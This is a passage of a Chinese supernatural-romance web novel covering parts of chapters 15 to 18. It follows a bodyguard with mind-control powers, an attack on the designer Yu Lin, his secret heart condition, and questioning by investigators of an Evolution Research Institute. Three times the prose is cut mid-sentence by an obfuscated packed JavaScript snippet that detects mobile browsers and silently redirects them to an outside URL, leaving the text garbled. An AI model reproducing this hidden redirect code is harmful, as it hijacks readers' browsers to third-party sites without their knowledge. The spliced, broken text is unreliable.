门内是操作区,四周放着精密仪器,彻底超出了周拾秋的认知领域。 操作区正中央,是一个圆形的展示台,展示台上正摆放着一摊破烂。表面像人体皮肤一样的材料已经脱落,露出里面金属质地,勉强能分辨出四肢和躯干,至于原来是什么模样,周拾秋完全想象不出来。 展示台四周被金属框架围绕,框架上镶嵌着透明玻璃,形成了一个密闭空间。 顶部一直连接到天花板,而天花板上倒挂着一台机器,仿佛一只金属的大蜘蛛。 卓女士落座后,楚君急忙上前,将一份文件递到卓女士面前,细致地向卓女士介绍着整个流程,包括展示台上具体有那些部件。 随后,楚君示意操作区的操作人员,将一个手掌大小的透明盒子带到了卓女士面前,一块黑色的芯片正躺在里面。 “这就是记忆芯片,应您的要求,从取出后就一直封存到现在,还没有人查看过里面的内容。如果您确定不需要了,我们将与仿生残体一起进行销毁。” 卓女士看到芯片的瞬间有些失神,可很快她又恢复常态,欣然选择了销毁。 楚君对照着流程,逐一向卓女士解释并确认所有细节后,将一支笔递给卓女士,让其在文件上签字。 在收到卓女士的签字文件后,操作人员便拿着芯片回到了操作区。 将芯片放入密闭舱后,销毁作业便正式开始了。 密闭舱的天花板上,那个如同蜘蛛一样的机器从无数触手中射出激光,将展示台上的仿生残体烧成了一滩铁水。 坐在观看区的众人目睹了整个过程。 其实周拾秋很难想象理想者对于仿生人怀着怎样的感情。 卓女士以自己死去儿子为原型定制了仿生人,最后又亲手将其销毁,不知会不会有一种亲手送走儿子的感觉呢? 还是说,真就如庾林所说,在卓女士看来,不过是一件不满意的商品被销毁了呢? 她小心翼翼地观察着观看区里的其他人。 这里除了她,全是理想者,而他们脸上的表情无一例外,都很平静,就像在看一场没什么意思的表演,不惊不喜,不悲不哀。 庾林感受到她的目光,转头与她对视,她慌张地转移视线,假装无事发生。 等到销毁作业结束,卓女士告辞离开,庾林表示晚些时候会将方案发给卓女士。 剩下的时间,庾林一直忙于工作,而周拾秋的任务则是守在他身旁,时刻注意不要让女职员靠近。 这工作对她来说挺枯燥,可一想到自己如果消极怠工,会失去还清债务的机会,她便卯足劲做好这个保镖工作。 这一等便等到了晚上十点,庾林将方案发给楚君,让他转发给卓女士确认。 等拿到卓女士签署的同意书后,公司便可以安排工程师按照最新的设计方案投入生产。 楚君看了眼新拿到的数据,却有些犯难。 他犹豫了半晌,终是开口问道:“总监,您确定要废除所有问卷反馈的数据吗?这还是卓女士的儿子吗?她如果又否决了怎么办……” 庾林只是用不容置疑的低沉声音命令道:“发给她。” 随后,庾林冲周拾秋招了招手,离开了公司,只留下楚君在原地凌乱。 周拾秋拖着疲倦的身子坐到了驾驶位上,没有立即开车,而是好奇地问:“你一出马就能轻松解决的案子,为啥一开始要百般推辞呢?” “我干嘛要替别人收拾烂摊子?”庾林刻薄地回答。 “那你的解决方案与其他人究竟哪里不一样?” 周拾秋终于问出了一直好奇的问题。 庾林却不正经地调侃:“你干嘛对这感兴趣?怎么?想偷师到态宇应聘?” “我对上班没有兴趣!只是一直跟着你,感觉你也没问什么有营养的问题……” “让你听到没营养的话,真是委屈你了。” 庾林一边说着,一边往前探着身子,将周拾秋推回座椅上坐好,又从她身前一把拉过安全带,将她稳稳扣在了座椅上,“回家,我累了。” 一如既往没得到答案,周拾秋气鼓鼓地撅起了嘴,斜睨着庾林,并没依言发动引擎。 对于她这刨根问底的性格,庾林是一点脾气都没有,耐着性子解释。 有原型的定制,要做到还原,不仅仅是外形一致,还要按照原型的性格,为仿生人设定性格,甚至包括为人处事的风格。 所以,设计师搜集的不单单是外形数据,以及委托人单方面提供的性格描述,还会从与原型接触的其他人口中获取相关信息。 针对性格信息的搜集,他们专门制定了问卷调查,以此更加全面地掌握性格数值,方便后续设计方案和确定参数。 卓女士给出的要求是要仿生人完全贴合她死去儿子的性格。 此前设计出的仿生人其实可以说,几乎与原型无异。 毕竟这是态宇研究多年引以为傲的技术。 卓女士一开始也是满意的,可后来她将仿生人砸了,并抱怨有瑕疵。 而问她究竟哪里不满意,卓女士又始终说不清,只说就是与她儿子不一样。 后来接手的设计师又扩大了调查范围,搜集更精确的数据,力求能做到卓女士满意。 可不管他们如何扩大调查,最后得到的结论都是——他们的数据并没有问题。 然而,卓女士对数据表示认可,但始终对设计方案不满意。 等到庾林接手后,他最终给出的方案是:去掉所有问卷调查得出的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14539070|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数据,仅保留卓女士提供的模糊信息。 听到这里,周拾秋终于明白为什么楚君拿到方案后会愁眉苦脸了。 因为,这已经不符合卓女士所说的要求——像她儿子。 “嘿嘿,期待你这位知名设计师遭遇人生滑铁卢。”周拾秋幸灾乐祸地说,“如果卓女士找人揍你,因为你的差评被封号的我可保不了你。” “恐怕要让你失望了。”后座闭目养神的庾林冷笑了一声,“卓女士想要的儿子,不过是她想象中的儿子罢了。” “你怎么知道?我没听卓女士这么说……” 周拾秋努力回忆着这两天与卓女士见面的情形,她可以肯定,卓女士绝对没同庾林提过这样的想法。 车内突然陷入一阵沉默,庾林没有接过话题,反而闭上了嘴,脑袋里不知道在想什么,过了许久,才重新开口,可话题明显转到了别处。 “卓女士的儿子在离家出走后轻生了。” “所以呢?” “所以如果还原所有性格数据,仿生人迟早也会做出同样的选择。” “啊!难道仿生人不是被卓女士毁掉的?” “也许吧,反正卓女士想要的,只是她印象中那个听话的好儿子,所以其他人提供的真实参数,她根本就不在乎。” “既然如此,她干嘛不明说?” “她不说出口,只是从心底渴望她希望的一切都是真的吧。” “啧,你们理想者真是麻烦……”周拾秋忍不住发出感叹。 庾林闻言轻轻敲了敲周拾秋身后的头枕,提醒道:“如果不是你添乱,这件事也落不到我头上。” 周拾秋厚着脸皮笑道:“嘿嘿,你也不希望公司一直有纠纷嘛!” “如果你没有故意找茬,我大可装死,等个一年半载,这事儿也就过去了。” “过得去吗?”周拾秋表示质疑。 “能治愈人心的,永远只有时间。等到哪天卓女士不再执着于已故之人,自然就不会再找态宇的麻烦。” “那如果淡忘不了呢?” “那也与我无关,反正烦的又不是我。” “呵呵……不愧是你。” 周拾秋又一次见识了庾林的无情,只能偷偷翻着白眼,然后冲庾林竖起大拇指,违心地称赞。 等回到天宫酒店门前,庾林下了车,随即又走回车窗边,示意周拾秋放下车窗玻璃。 “还有什么吩咐?” 周拾秋将头探出窗外,强挤出一个违心的笑。 庾林说:“还有另一个麻烦,我过两天应该还会找你,回去等我联系。” 周拾秋的白眼简直快翻上天了,嘴里嘟囔:“知道了,你还真是好心,找我麻烦还要发个预告。” 她正准备关窗走人,隐约听车外传来一声“晚安”,等她再转过头时,庾林已经转身往酒店里走去。 心想自己一定是累到幻听了,周拾秋赶紧开车离开,一心只想回去好好睡一觉。 车刚开出十来米,她忽然看见了遗落在后座的围巾与手套。 就在她思考着要不要给庾林送上楼时,偶然从后视镜里瞥见一个眼熟的人影走进了酒店大门。 她想了许久才想起,那人正是不久前与庾林“相亲”的白馨。 这会儿她猛然记起,白馨被影响了意识,依然打从心底喜欢着庾林。 她低头看了看手机,此时已过10点半。 这么晚还来找庾林,周拾秋不由得担心白馨会做什么出格的事。既然已经知道是误会,她觉得自己有必要及时纠正这个错误。 于是她将车转进了地下停车场。 16. 第016章 周拾秋本想在酒店大堂拦截白馨,可惜从地下停车场回到大堂后,发现白馨已经上了60层。 她属实没想到庾林会放白馨上楼,不禁怀疑自己是不是想错了。 “如果我现在上去,会不会打扰?” 周拾秋挠着头,在大堂里转了两圈,实在放心不下,还是去了前台。 前台打了个电话,不一会儿就来了个工作人员带周拾秋上楼。 看这情况,庾林并不介意她此刻出现,她总算放下心来,决定见到白馨立即解除控制,然后转身就回家。 站在电梯中,她在脑海中反复演习着自己的计划,一直到出了电梯,按响套房60A的门铃。 叮——铃—— 门铃声响了片刻,走廊里重归寂静,房门没有如期开启。 叮——铃—— 周拾秋心急又按了一次门铃,可惜又等了十来秒,也没有等到康管家来应门。 一种不好的预感油然而生,周拾秋不再傻等,眼中金色波纹流转,门锁自动弹开,她直接推门而入。 在门开启的瞬间,尖锐的呐喊声撕扯着周拾秋的耳膜。 “我那么喜欢你,你怎么可以这样对我!” 歇斯底里的尖叫声,瞬间吸引了周拾秋的视线。 只见客厅中央,康管家双手从白馨腋下穿过,直立着手臂,从背后控制住白馨。 白馨手里捏着半截酒瓶,挣扎着想要冲向前,可被康管家死死控制住,暂时无法上前一步。 就在二人身前不远处,庾林捂着胸口倒在地上,弯曲着后背蜷缩成一团,面色白得吓人。 地上掉落着玻璃瓶残渣,而庾林的身下一片血红,裤子和毛衣皆染上了红色,样子看上去有些瘆人。 周拾秋被眼前的景象惊呆,脑子里一团乱,慌张地摸出手机,一时不知是该先报警,还是先叫救护车。 好在惊慌的状态只持续了几秒,看着癫狂到想要杀人的白馨,周拾秋忽然冷静了下来。 她一边往房间里走,一边打了个响指,解除施加在白馨身上的异能,然后径直走到了庾林身边。 一股甜甜的酒气冲入鼻腔,她才发现淌了一地的血红色并非血液,而是红酒。 周拾秋伸手抓住庾林的肩膀,想要查看庾林的情况,可庾林不知是受了惊吓还是受了伤,浑身僵硬地蜷缩在地上,以周拾秋的力气,很难将其翻过身来。 “没事,只是红酒,你有哪里受伤了吗?你转过来让我看看。” 周拾秋紧张地安慰道。 庾林只是死死捂住胸口,豆大的汗珠一滴接着一滴从额头滑落,失去血色的嘴唇微微启合,却一个字都没能说出。 那样子看上去实在痛苦,周拾秋瞬间慌了,她觉得庾林或许真的伤得很重。 就在她准备叫救护车时,身后传来康管家的呼喊声:“周小姐,你先帮我抓住白女士,我去给庾先生拿急救药。” 在康管家的提示下,周拾秋才注意到,白馨依旧歇斯底里地吼叫、谩骂,试图摆脱康管家的钳制。 “你是因为她,才故意冷落我吗?” “我到底哪里不如她?你说!” “我不允许你推开我……” “伤害我的人都必须死!” 一句句疯话自白馨口中传出。 周拾秋难以置信地看着眼前这一幕。 她明明已经解除了意识控制,可白馨的状态一点未变,就好像她的异能又一次失灵了。 带着这份担忧,周拾秋再次对着白馨发动了异能。 在金色的波纹接触到白馨身体的一瞬间,谩骂声消失,挣扎的动作顿住,白馨整个人陷入一种意识丧失的混沌状态中。 见白馨失去意识,康管家不敢再耽搁,放开白馨,迅速冲入卧房。 周拾秋看着客厅里跟木偶一样呆立在原地的白馨,心中疑惑更甚。 她的异能并没有失效,那白馨为何会出现那般怪异的状态呢?她似乎疯狂爱着庾林,却因爱而不得,心生恨意,于是上门报复。 周拾秋原本还害怕,白馨极端化的举动是受她异能的影响,可现在看来,似乎白馨的异常举动,与她的异能并无关系。 不过此刻没有时间思考深层的东西,康管家很快从卧房跑出来,手里拿着一支注射器。 康管家迅速跑到庾林身边,朝着庾林的脖子扎了一针。 注射器中的药物一点点注射进庾林的体内,庾林僵硬的身子一点点放松下来。 周拾秋和康管家一人一边,架着庾林的胳膊,将人从地上扶了起来,缓缓移动到沙发边,让庾林躺在了沙发上。 庾林躺下后,依然一只手捂着胸口,呼吸沉重,嘴唇泛白,一身冷汗不止。 他的眼神有些涣散,似乎也听不到旁人说话,距离彻底失去意识只有一线之隔。 腹部的毛衣被玻璃割破,皮肤上几道深深浅浅的伤口正往外渗血,更浓厚的血色将毛衣浸染了一大片。 周拾秋顺手用围巾按住了庾林腹部的伤口,然后听到康管家冷静地给医院打去电话。 庾林刚才的状态,绝不是受伤或者受惊的表现,从康管家的举动,周拾秋可以肯定,庾林有不为人知的疾病,而这件事康管家是知情人。 “他这是怎么了?”周拾秋焦急询问。 康管家欲言又止,最后简洁回道:“事发突然,我没能及时拦下,让白女士碰到了庾先生。” 说罢,康管家又打电话报警,并联系酒店安保人员来控制局面,最后还不忘给庾林的姐姐打了个电话,毕竟白馨是她的朋友。 该联系的人联系完毕,康管家找来登山绳将白馨绑起来。 一切准备完毕,康管家回到庾林身边,代替周拾秋压住庾林腹部的伤口,并对周拾秋说:“周小姐,你先解除对白女士的异能控制,否则让人发现不对劲,引来进研所的人就遭了。” 经他这么一提醒,周拾秋点点头,一个响指过后,白馨的意识回归。 一开始白馨还有些懵,可当她看见沙发上尚能呼吸的庾林,她又陷入了癫狂的状态。 不一会儿,安保人员最先赶到,带走了白馨,稍后会移交警方,接着医护人员也到了。 救护车将庾林送往佑民医院,在手术室缝合好伤口后,庾林立马被送进了VIP住院部2003病室。 这是一间十分宽敞的房间,专属一人的疗养空间,可以确保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14550410|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝对的安静和隐私。采光充足,设备齐全,独立卫浴,甚至还带厨房,要说是酒店,周拾秋也是相信的。 光是看一看,周拾秋都觉得肉疼,在这里住一晚,不知道要花多少钱。 庾林被送到病床上时,人还不是很清醒,他的主治医生来病房,向康管家简单说明了庾林的情况。 幸好腹部的伤口不算太深,并未伤及内脏,相比之下,庾林心脏的情况更为不妙。 短短三天,他心脏就超负荷了两次,医生建议先留院观察一周,等情况稳定后再出院不迟。 周拾秋悄悄听着医生的说明,整个人感觉有些懵。 她一直以为庾林说自己心脏不好是开玩笑,没想到他还当真有心疾。 医生离开病房后,庾林的姐姐——庾双赶到了医院。 一位打扮时尚的贵妇,优雅地走进病房,看上去年纪比庾林大了不少,带着些咄咄逼人的气息,一看就不是什么好相处的人。 当庾双看见周拾秋在病床旁,整个人就像一只炸毛的猫,瞬间优雅全无,声音尖利地说道:“她是谁?康管家,是你让无关之人留在这儿?” 面对庾双的兴师问罪,周拾秋有些慌,她并不明白为什么自己不能留在病房中。 康管家也有些手足无措,一会儿看看一脸无辜的周拾秋,一会儿看看还不清醒的庾林,一时不知道该如何处理这个问题,只好简单回了句:“庾先生说不用管她。” “什么叫不用管!你是不是大脑短路,需要返厂重修?”庾双目光犀利地盯着康管家与周拾秋。 “安静……” 庾林的声音突然响起,声音明明微弱又低沉,可霎时间让整个房间安静了下来。 躺在床上的庾林,半睁着眼,人似乎还没完全清醒,他有气无力地朝周拾秋招了招手。 周拾秋似懂非懂地靠了过去。 她每靠近一步,庾双的脸就惊恐一分,下意识地想要上前阻拦,却又知晓庾林的脾气而不敢轻举妄动。 周拾秋在这种怪异的氛围中,挪到了庾林的面前,按照他的指示,一边撩起垂落的头发,一边缓缓俯下身,将耳朵凑近到庾林嘴边。 “庾林!”庾双终于忍不住吼了一句。 可庾林并未理会,只是轻声对周拾秋说:“白馨的情况不正常,可能会惊动进研所,让康管家先带你离开避一避。” 说完这些话,庾林又朝康管家使了个眼色。 康管家迅速反应过来,带着周拾秋离开了病房。 当周拾秋与庾双擦肩而过准备离开病房时,她明显感觉庾双紧绷的神经放松了下来。 就在周拾秋与康管家走出病房时,警察已经来到了这里。 因为庾林情况并不算稳定,康管家便代为接受了警方的询问。 据说白馨此刻也在佑民医院里,因为她的状态有些怪异。被注射了一针镇定剂后,她总算安静下来。不过在她完全清醒前,大概会暂时留在医院,对她的审讯也只能延后。 可此刻,一个新情况摆在了他们面前。 进化研究所的调查专员在白馨身上检查到了异能残留,这件案子或许牵扯到连环凶案,因此进化研究所会介入调查此案。 17. 第017章 警方的例行询问没有持续太长时间,详细了解来龙去脉后,前来问询的警官便告辞离开。 临走前,警官告诉康管家,进化研究所的调查专员正在楼下白馨的病房里,大概那边调查完毕,还会来找庾林询问更多细节。 警官离开后,康管家便催促周拾秋赶紧走,他担心进化研究所的调查专员会发现周拾秋的存在。 当然,他不只是关心周拾秋,而是担心周拾秋的身份会连累庾林。 这次事件太过诡异,周拾秋不弄清楚,就算回去也睡不着,于是安慰康管家:“只要不到进研所检测,没人会发现我的身份。” 周拾秋语气笃定,可康管家哪敢冒险。 一个不敢心怀侥幸,一个死活想要留下,一时有些僵持不下。 最后康管家想出一个折中的办法,他指了指对面的2004病室,然后打开门,推着周拾秋进了屋。 这间病房没有住人,里面漆黑一片。 康管家没有开灯,从衣兜里拿出手机,对周拾秋说:“平时庾先生住院时,为了避免打扰他晚上休息,这间房会预留给陪护的人。” 周拾秋惊得合不拢嘴,心道:有钱人真是挥金如土……豪横…… 康管家将手机递到周拾秋面前,示意她输入自己的手机号码。 等她照做后,康管家直接给她打了通视频电话,才继续解释:“如果庾先生真的卷入了连环凶案,且牵扯上进化者,那能帮他的只有周小姐了。” 周拾秋本想跟他解释,进研所之所以从白馨身上检查到异能残留,是因为她对白馨使用过异能,可她仔细一想,白馨的异常似乎与自己无关,那不能排除有其他进化者的存在。 于是周拾秋保持沉默,对康管家点了点头。 “这间房一般不会有人进出,周小姐可以先藏在这里,只是得委屈你在黑暗中等待些时候。等到安全了,我再放你出去。至于对面的消息,你可以通过这里获取。” 康管家朝她摇了摇手机,然后转身离开病房,并锁上了房门。 借着窗外的灯光,周拾秋摸索到床上。 她悠哉地脱鞋平躺上床,然后双手举着手机,观察着对面的情况,而手机里的画面正式进入了偷拍模式。 从手机屏幕里可以看到,康管家重新回到对面病房,并假装已经送走周拾秋,向庾家兄妹简单交代了一句。 此刻庾双坐到沙发上,说话时情绪还有点激动,可惜庾林全程闭目养神,没什么精力回话,所以基本只能听到庾双独自一人絮絮叨叨。 “要说白馨看上你,我不会觉得奇怪,可袭击你也太离谱了点。” “还有刚才那小女生又什么情况?私人秘书?” “你又不是不知道自己身体是什么情况,怎么敢放在身边?” “你还让她靠近,我心都要跳出来了。” “什么时候也学小洲那套了,你想吓死你老姐啊?” “你也会心动,我能理解,可你这心病还没解决啊,不能大意!” “那小女生知道你的心病吗?” 庾双不间断的话语攻击,终于引起庾林的不耐烦,他声音有气无力打断:“你再说下去,我真要晕了。” “哎,好好好,我不说了,等你精神恢复了我们再聊,我先去看看白馨到底怎么回事。” 只因为庾林一句话,庾双便妥协,迅速闭上嘴,转身准备离开。 可偏偏这时,有人敲响了房门。 康管家疑惑地前去应门,然后发现门外站着瑞波恩科技的专属客户经理023。 他在门口朝气十足地冲房间里喊道:“庾先生您好,瑞波恩高层听闻您遇袭,赶紧让我过来看看情况。” 庾林轻轻叹了口气。 正准备离开的庾双顿时发飙质问:“对啊,你们危机管理局怎么回事?我弟弟不是在你们那签了私危协议吗?他今天遇袭怎么没有危代人来应对?” 听到这句话,周拾秋瞬间坐直了身子,忍不住对着手机嘀咕:“危代人就在现场好吧!这也能怪到我头上?你也不问问你弟,是谁害危机管理局最优秀的危代人被封号?” 屏幕中,023如临大敌,结结巴巴解释:“呵呵,这个……呃……我、我们也不是不想……怎么说呢,就是庾先生的协议危代人刚收到差评,现在账号冻结中……” 对于023的仗义执言,周拾秋朝着屏幕竖起了大拇指。 “什么情况?”庾双惊讶地望向庾林,“小洲介绍的危代人你不满意?那赶紧换一个啊!” “其实本公司也这么建议过,但……”023的声音充斥着尴尬与胆怯。 庾林脸上写满了疲倦,微微睁开眼,冷冷盯着023说:“让人今晚处理一下,我撤销差评。” 周拾秋闻言目瞪口呆。 她没想到庾林能这么轻易松口,仅仅因为庾双的一句话。 另一边,专属客户经理023的惊讶不亚于周拾秋,他原本已经对挽回庾林这个大客户不抱希望了,没想到被公司领导催着来探病,居然能有意外收获。 023急忙应下,趁着庾林没反悔,赶紧将果篮递给康管家,然后转身出门打电话联系技术部门同事。 过了一会儿,大概事情交代完毕,023又探头进了病房,一脸讨好地笑道:“撤销事宜已汇报回公司,今晚就会恢复协议危代人的账号使用,您可以放心,如果再遇上危险,本公司定竭诚为您保驾护航。那么,不打扰您休息了,我先告辞。” 一番十分官方的发言结束后,023迫不及待逃离了现场。 这时庾林抬眼看向庾双,敲了敲手环,说:“现在满意了?可以让我睡会儿了吗?” 庾林对他姐说话时也是那副让人不爽的冷漠态度。 可庾双根本不在意,大概是已经习以为常了,言辞宠溺地说:“好好,我不烦你,我也是担心你嘛。不行,明天我得把小洲从学校叫回来,让他照顾你几天。” “小洲?呵,他能照顾好自己就不错了。”庾林讥讽。 “哎,如果你能与异性接触,我就亲自照顾你了,叫你姐夫来你肯定更不愿意,你就当让我安心,小洲平时虽然爱玩,但大事上还是拎的清。” 庾双的强势在这一刻变得温暖,她是真的很在意这个弟弟。 “随便吧。”庾林叹了口气,回答依然冷淡。 庾双又接着说:“对了,我再雇几个保镖,轮流在这儿保护你。” “有危代人在,你雇保镖干嘛?”庾林表示不解。 庾双说:“你打算怎么做是你的事,反正我得找几个保镖在你房间外守着,这事,我不说你,你也别说我,就这么定了!我答应了爸要好好照顾你,不能再让你出事。” 庾双自顾自地说完这些话,转身就想走。 听到庾双的话,庾林脸上闪过一丝苦涩,只是一瞬,便迅速被他隐藏起来。 然而还是被周拾秋捕捉到了。 周拾秋觉得庾林跟家人应该有什么矛盾,所以才不回家,一直住在酒店里。她自觉与家人的关系很好,所以对于家庭不睦的人,难免生出一丝同情。 正在这时,手机里又传来庾林冷嘲热讽的声音:“随便,保镖总比你那傻儿子有用些,钱也不算白花。” 周拾秋瞬间收起这份同情,然后万分后悔地将其揉碎,再扔在地上踩上几脚。她敢肯定,庾林之所以独自住在酒店里,一定是全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14566846|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家都受不了他这烦人的性格。 不过庾双似乎并不在意,甚至还赞同地点点头,说:“有道理。” 说罢,庾双心满意足地离开了病房。 周拾秋整个人凌乱了,只觉愈发不理解理想者了。 甩了甩头,抛开杂乱的思绪,现在她至少知晓了庾林隐藏的秘密——与异性接触会引发心病,而这种心病似乎会致命。 “进化者?” 周拾秋满腹疑问,思来想去,最终吐出这三个字。 他这种情况,怎么听上去与进化者的诅咒如此相近? 进化者在拥有逆天异能的同时,还被诅咒缠身。 大概这就是质量守恒定律,当你拥有什么时,也注定会失去一些东西。 进化者的诅咒多种多样,可能是身体的缺陷,也可能是某种无法治愈的疾病,还有可能是无法驱散的厄运。 周拾秋身上也曾有与庾林情况类似的诅咒,但那诅咒伤害的不是周拾秋,而是别人。 ——如果有人与她两情相悦,那人必会死于非命。 周拾秋其实一直不知道对于异性的喜欢是一种什么感觉,只知道从小到大,她身边一直不乏死亡。 比如小学时,总给她买糖吃的邻居哥哥,在她说了“等我长大要嫁给你”后,上学途中遭遇交通事故,当场就没了气。 又比如初中时,往她书桌里塞情书的学长,收到她回信的当天,家中失火,唯独学长没能逃出火场。 再比如高中时,在学校门口堵她的小混混,在她答应与其交往后,当晚被砍死在街头。 后来有朋友告诉她,也许她的诅咒就是孤独终老。 回首过往,她才发现,那些死亡大约都是因她而起。 或许她对那些人,都产生过喜欢这种令人费解的感情,虽然当时她只是天真的觉得,正常人被喜欢都应该是高兴的,应该是会选择接受的。 一直到五年前,作为危代人的她,莫名卷入一场绑架案,第一次强烈地对某人产生了怪异的占有欲。 她很少看见那么合她口味的人,让人忍不住想咬上一口。 那时,她莫名生出一种想要将人拐回家的邪恶想法。 于是她摸着男人的脸说:“从现在起,你属于我了。” 可意识回到自己的身体后,她从新闻中听说,那场绑架案的绑匪和人质全部身死。 她想,或许那人也喜欢上她了吧,所以,那人死了。 明明她已经努力救下他了…… 后来很长一段时间,她总会梦见那场大火,梦见那双眼睛,可也是那时起,她身上的诅咒好像突然消失了,与此同时,她再也看不懂别人内心的想法。 有时候她甚至怀疑,自己之所以答应做郑常新女朋友,是出于做实验心理,想拿郑常新试试诅咒是否当真消失。 可惜她算漏了一点,没有诅咒后,她根本分不清喜欢与否。 周拾秋胡思乱想了许多,忍不住怀疑庾林的身份。 可她没有在庾林身上嗅到过异能气息,除非庾林是比她更厉害的高阶进化者,否则她不可能觉察不出。 就在周拾秋疑惑于庾林身上的秘密时,手机里又传来了敲门声。 周拾秋的视线重新落到手机屏幕上,只见一男一女走进了房间。 两人都穿着黑色的风衣,胸口印着进化研究所的标志。 男人三十多岁,大高个,有些消瘦,胡子拉碴,神情慵懒。 女人二十五岁左右,一头乖巧的短发,稍显幼态的长相,身材却很高挑。 男子用一种散漫又带着点磁性的声音开口道:“你好,进化研究所调查专员,褚成舟,这位是进化专员,施煦。” 18. 第018章 进化研究所,一个伴随着进化者诞生的组织,专门收容进化者。 但凡出生的小孩表现出异能天赋,做父母的都有义务将小孩送往进化研究所,进行人格改造。 这些进化者小孩会被收编,成为进化专员,根据异能类型被分配到进化研究所不同的岗位上,应对世间一切超自然事件。 送入进化研究所的进化者,或许不能再称之为人,他们不再有自己的思想,完全听从进研所的指令。 对普通人来说,这是将罪恶扼杀在摇篮。 可对进化者来说,这是极不人道的灭绝。 不少父母并不忍心将孩子送往进研所,可如果被查出有隐瞒不报的情况,会有牢狱之灾,所以干脆弃之山野,任其自生自灭,只当自家孩子出生就死了。 周拾秋便是这样的弃婴。 不过她运气好,被亲生父母遗弃后,又被养父母捡回了家。 当时养父母的女儿刚过世,养父母认为她是上天的馈赠,于是让她代替了去世女儿的身份,得了名字——周拾秋。 从她记事起,父母就不停描述着进研所的可怕,并警告她不可以轻易使用异能,绝不能被进研所发现。 因此,当周拾秋看到两人衣服上的进化研究所标志时,她不禁背脊发凉,浑身一激灵,等到“进化研究所”五个字从男人口中说出,她下意识地将手机扔到了一旁。 对进化研究所的惧怕仿佛刻进了基因,即便心里清楚对方发现不了自己,她依然会想要远离。 屏幕里的两位专员并不知道,此刻正有个进化者,通过手机屏幕观察着他们的一举一动。 “想不到还能惊动进研所,我面子有这么大吗?”庾林话中隐隐透着轻蔑。 他面色依旧惨白,咬着牙,捂住腹部,缓缓从床上坐起身。 康管家见状快步回到床边,帮着庾林调整床头高度,并将枕头垫到他身后。 褚成舟闻言不急也不恼,给身旁的施煦使了个眼色,然后慢悠悠地在屋子里转了一圈。 施煦跟在他身后,一脸认真地在屋子里巡视一周,甚至靠近庾林与康管家,将二人仔细打量了一番,最后朝褚成舟点了点头。 褚成舟一直等到施煦给予回应后,才露出意味深长的笑,抖了抖衣襟,双手叉腰,漫不经心地说道: “我们也是为了保护大家不受进化者骚扰嘛。不知二位最近有没有遇上什么奇怪的陌生人?” 康管家没答话,如同待机了一般,低着头一声不吭,将应对之事全部交给了庾林。 庾林微微勾起嘴角,眼神略带攻击性,不客气地说道:“专员先生算吗?” “哈哈哈,庾先生还挺幽默。”褚成舟仿佛听了个冷笑话,捧场地边笑边鼓掌,眼中透出精明的光,“最近有进化者对二位使用了异能,定然在你们身边出现过,庾先生没有头绪吗?” “我应该有头绪吗?”庾林镇定自若地反问。 光从表面看,庾林似乎确实一无所知,褚成舟一时不能拿他怎么样。 “也对,如果庾先生能有警惕之心,也不至于躺进医院。”褚成舟故意讥讽。 庾林闻言脸色一沉,口风忽转,反击道:“分辨进化者不应该是专员先生的职责吗?我一个普通人,好像没有能力,也没有义务,去分辨周围是否存在进化者。能让进化者逍遥法外,是否是进研所的无能呢?” 褚成舟嬉皮笑脸的表情终于染上一分愠色。 他沉默片刻,收敛了笑意,抬手指了指身旁的搭档,神情严肃地说: “施煦的异能是嗅觉强化,她从二位以及白女士身上闻到了异能残留的气息,进化者最近一定接近过三位。” “哦,那有劳专员先生尽快逮捕进化者。” 庾林回应冷淡,仿佛对这个话题不感兴趣。 褚成舟笑道:“那是自然,我们也调查过,好在庾先生的社交圈很简单,最近见过的陌生人也就三位:一位是自由区的客户,另两位是禁仿区的危代人及其朋友。” 周拾秋通过手机屏幕看到这一幕,感觉心脏倏地漏跳一拍。 她没想到进研所的调查如此迅速,一想到自己可能会成为进研所的调查对象,手脚不自觉地颤抖起来。 咬着手指甲,远远看着屏幕里那两个进研所专员,周拾秋不禁思考起来,有没有可能神不知鬼不觉控制两位专员,且不被进研所发现。 可能性几乎为零。 庾林此刻跟周拾秋一样心慌,可表面依然维持着雷打不动的冷静,甚至出言讥讽:“专员先生既然什么都能查到,半夜还来询问受害者,是闲得慌吗?” 此时病房好像变成了战场,枪林弹雨,硝烟弥漫。 褚成舟皮笑肉不笑,语气散漫地回道:“该调查什么我们自然知道,来这里不过是例行公事罢了,毕竟,得让纳税人知道我们在干活嘛。” “嗯,已经见识到了,现在你们可以做正事了,别打扰纳税人休息。”庾林立马摆出一副送客的姿态,抬眼示意他们离开。 庾林的傲慢让褚成舟有些吃瘪,想要回击,又一时找不到回击的手段。 这时,一直安静待在一旁的施煦突然站了出来。 